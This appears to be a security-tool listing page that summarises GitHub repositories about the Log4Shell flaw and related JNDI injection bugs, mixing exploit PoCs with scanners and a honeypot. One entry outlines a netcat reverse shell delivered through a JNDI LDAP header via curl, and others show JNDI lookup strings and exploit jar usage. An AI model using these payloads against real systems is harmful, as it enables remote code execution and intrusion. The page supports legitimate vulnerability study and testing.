test-44228

test-44228 Un ejemplo simple para CVE-2021-44228 Implementa dos CLI de Java, una usando log4j v1.x y la otra usando log4j 2.x para demostrar la vulnerabilidad log4shell. Ver también: https://www.lunasec.io/docs/blog/log4j-zero-day/ https://www.oracle.com/security-alerts/alert-cve-2021-44228.html...

CVE-2021-44228

CVE-2021-44228 Apache Log4j 2 Versiones vulnerables: Las versiones de Log4j anteriores a 2.15.0-rc2 están sujetas a una vulnerabilidad de ejecución remota de código a través del analizador ldap JNDI. Ir a reproducir el problema Ir a la reproducción de la vulnerabilidad...

CVE-2024-21182---Oracle-WebLogic-Server-JNDI-Injection-RCE

CVE-2024-21182 - Oracle WebLogic Server JNDI Injection → RCE CVE-2024-21182 - Oracle WebLogic Server JNDI Injection → RCE -orange 📋 Descripción CVE-2024-21182 es una vulnerabilidad de inyección JNDI no autenticada que afecta al componente Core de Oracle WebLogic Server. Permite a un atacante...

log4jshell_CVE-2021-44228

log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc Public IP Port -e /bin/sh Convert into Base64 bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= Payload curl Target Website -H "X-Forwarded-Host: $jndi:ldap://ReverseshellIP:Port/Basic/Command/Base64/Payload in base64 Proof of concept Log4j Po...

CVE-2021-44228-Demo

CVE-2021-44228-Demo An example of remotely injecting code via RMI and LDAP using CVE-2021-44228. root@kitploit: Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit RmiServ...

Fastjson--CVE-2017-18349-

Fastjson--CVE-2017-18349-Cancel changes After setting the project as a Maven project, run note: using a higher version of JDK may fail, it is recommended to use JDK version 1.8.65 Just run the main function of FastjsondemoApplication.java TouchFile.java file root@kitploit: import java.lang.Runtim...

Apache-Log4j-POC

Apache-Log4j-POC CVE-2021-44228 Proof of Concept of apache log4j LDAP lookup vulnerability You can read more about the vulnerability here: https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/ How to run the provided ldap server that returns malicious object ? java -jar...

CVE-2021-44228

CVE-2021-44228 I think this story is more practical cryingchristophetd/log4shell-vulnerable-app I just researched on a whim out of interest, so there may be vague parts or mistakes. Please proceed at your own risk. Create a reproduction environment. Should work on Linux environments. 1. Download...

CVE-2020-8840

CVE-2020-8840 Código del entorno de reproducción y análisis de la vulnerabilidad de ejecución remota de código en Jackson-databind CVE-2020-8840. El proyecto incluye: jackson-databind, Fastjson payloads Clase maliciosa WebServer marshalsec-0.0.3-SNAPSHOT-all.jar compilado Resumen de la...

nmap-log4shell

Script NSE Nmap Log4Shell para descubrir Apache Log4j RCE CVE-2021-44228 nmap-log4shell es un script NSE para descubrir la vulnerabilidad Apache Log4j RCE CVE-2021-44228 a través de la red. El script es capaz de inyectar el payload de exploit log4shell a través de cabeceras HTTP por defecto o a...

CVE-2021-44228

CVE-2021-44228-POC Otro POC de CVE-2021-44228 Versiones de Log4j afectadas: desde 2.0-beta9 hasta 2.14.1 Prerrequisitos Java utilizado: OpenJDK 11 https://jdk.java.net/archive/ Maven necesario para compilar las aplicaciones en este repositorio alternativamente, descargue los archivos jar preparad...

CVE-2022-21350

Why two POCs? One with com.51pwn.hktalent.CreatJar.mainargs; is used to create the minimal payload generation tool. After creation, use the other one. Running CVE-2022-21350powerBy51pwn.jar to build the payload, errors do not affect the use of the payload. other exp root@kitploit: CVE20202551...

CVE-2024-20931

CVE-2024-20931 CVE-2024-20931, this is the bypass of the patch of CVE-2023-21839 Oracle Weblogic Usage: Setup JNDI, the specific one from https://github.com/WhiteHSBG/JNDIExploit/ Exploit: root@kitploit: java -jar CVE-2024-20931.jar Please input target IP:127.0.0.1 Please input target port:7001...

log4shell-tools

log4shell.tools log4shell.tools is a tool that allows you to run a test to check whether one of your applications is affected by the recent vulnerabilities in log4j: CVE-2021-44228 and CVE-2021-45046. This is the code that runs https://log4shell.alexbakker.me. If you'd like to inspect the code or...

log4shell-vulnerable-app

Log4Shell sample vulnerable application CVE-2021-44228 - edited twice This repository contains a Spring Boot web application vulnerable to CVE-2021-44228, nicknamed Log4Shell. It uses Log4j 2.14.1 through spring-boot-starter-log4j2 2.6.1 and the JDK 1.8.0181. Running the application Run it:...

Log4Shell-Honeypot

Honeypot de Log4Shell Honeypot mejorado en Docker para CVE-2021-44228 con funciones integrales de seguridad, monitoreo y capacidades de alerta. Características Detección Mejorada Coincidencia de Patrones Exhaustiva : Detecta más de 20 patrones de explotación de Log4Shell, incluyendo búsquedas JND...

log4j-shell-poc

log4j-shell-poc إثبات مفهوم PoC للثغرة الأمنية المكتشفة مؤخرًا CVE-2021-44228. مؤخرًا، تم اكتشاف ثغرة أمنية جديدة في log4j، وهي مكتبة تسجيل جافا تُستخدم على نطاق واسع في أنظمة مثل Elasticsearch و Minecraft والعديد من الأنظمة الأخرى. في هذا المستودع، يوجد تطبيق مثال ضعيف وإثبات مفهوم POC لاستغلاله...

log4j-shell-poc

log4j-shell-poc A Proof-Of-Concept for the recently found CVE-2021-44228 vulnerability. Recently there was a new vulnerability in log4j, a java logging library that is very widely used in the likes of elasticsearch, minecraft and numerous others. In this repository there is an example vulnerable...

nse-log4shell

nse-log4shell Nmap NSE scripts to check against log4shell or LogJam vulnerabilities CVE-2021-44228. NSE scripts check most popular exposed services on the Internet. It is basic script where you can customize payload. Examples Note that NSE scripts will only issue the requests to the services. Nma...

JNDI-Injection-Exploit

JNDI-Injection-Exploit Materials about JNDI Injection Documento en chino Artículos relacionados Descripción JNDI-Injection-Exploit es una herramienta para generar enlaces JNDI funcionales y proporcionar servicios en segundo plano iniciando un servidor RMI, un servidor LDAP y un servidor HTTP. El...